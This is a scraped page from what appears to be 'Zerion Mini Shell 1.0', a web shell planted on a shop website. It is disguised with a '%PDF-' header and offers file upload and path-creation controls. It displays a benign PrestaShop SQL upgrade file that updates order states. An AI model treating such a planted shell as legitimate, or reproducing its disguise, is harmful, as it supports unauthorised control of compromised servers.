%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/varak.net/shop.varak.net/_install/upgrade/sql/
Upload File :
Create Path :
Current File : /www/varak.net/shop.varak.net/_install/upgrade/sql/1.5.0.6.sql

SET NAMES 'utf8';

UPDATE `PREFIX_orders` o
SET o.`current_state` = IFNULL((
	SELECT oh.`id_order_state`
	FROM `PREFIX_order_history` oh
	WHERE oh.`id_order` = o.`id_order`
	ORDER BY oh.`date_add` DESC
	LIMIT 1
), 0);


Zerion Mini Shell 1.0